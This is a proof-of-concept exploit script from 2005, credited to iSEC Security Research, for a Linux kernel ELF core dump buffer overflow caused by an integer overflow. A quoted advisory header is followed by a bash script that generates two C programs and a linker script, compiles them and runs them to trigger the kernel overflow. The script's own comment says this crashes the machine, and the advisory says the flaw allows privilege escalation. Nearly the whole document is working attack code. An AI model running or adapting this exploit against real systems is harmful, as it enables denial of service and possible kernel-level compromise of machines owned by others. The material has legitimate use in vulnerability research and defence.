/*
source: https://www.securityfocus.com/bid/13589/info
The Linux kernel is susceptible to a local buffer-overflow vulnerability when attempting to create ELF coredumps. This issue is due to an integer-overflow flaw that results in a kernel buffer overflow during a 'copy_from_user()' call.
To exploit this vulnerability, a malicious user creates a malicious ELF executable designed to create a negative 'len' variable in 'elf_core_dump()'.
Local users may exploit this vulnerability to execute arbitrary machine code in the context of the kernel, facilitating privilege escalation.
**Update: This vulnerability does not exist in the 2.6 kernel tree.
*/
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
* Linux binfmt_elf core dump buffer overflow
*
* Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
// phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <asm/page.h>
static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];
void fatal(const char *msg)
{
if(!errno) {
fprintf(stderr, "\nFATAL: %s\n", msg);
}
else {
printf("\n");
perror(msg);
}
fflush(stdout); fflush(stderr);
_exit(129);
}
int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;
__asm__("movl %%esp, %0" : : "m"(esp));
printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
r = setrlimit(RLIMIT_CORE, &rl);
if(r) fatal("setrlimit");
memset(env, 0, sizeof(env) );
memset(argv, 0, sizeof(argv) );
memset(page, 'A', sizeof(page) );
page[PAGE_SIZE-1]=0;
// move up env & exec phase 2
if(!strcmp(av[0], "AAAA")) {
printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
argv[0] = "elfcd2";
argv[1] = page;
// term 0 counts!
memset(buf, 0, sizeof(buf) );
for(i=0; i<789 + 4; i++)
buf[i] = 'C';
argv[2] = buf;
execve(argv[0], argv, env);
_exit(127);
}
// move down env & reexec
for(i=0; i<9; i++)
env[i] = page;
argv[0] = "AAAA";
printf("\n[+] phase 1"); fflush(stdout);
execve(av[0], argv, env);
return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
// phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/syscall.h>
#include <asm/page.h>
#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_getpid __NR_getpid
char stack[4096 * 6];
static int errno;
inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);
// yeah, lets do it
void killme()
{
char c='a';
int pid;
pid = sys_getpid();
for(;;) {
sys_read(0, &c, 1);
sys_kill(pid, 11);
}
}
// safe stack stub
__asm__(
" nop \n"
"_start: movl \$0xbfff6ffc, %esp \n"
" jmp killme \n"
".global _start \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
"elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);
MEMORY
{
ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}
PHDRS
{
headers PT_PHDR PHDRS ;
text PT_LOAD FILEHDR PHDRS ;
fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
}
SECTIONS
{
.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme
. = 0xbfff0000 + SIZEOF_HEADERS;
.text : { *(.text) } >ram :text
.data : { *(.data) } >ram :text
.bss :
{
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b.*)
*(COMMON)
. = ALIGN(32 / 8);
} >ram :text
}
__EOF__
# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
./elfcd1
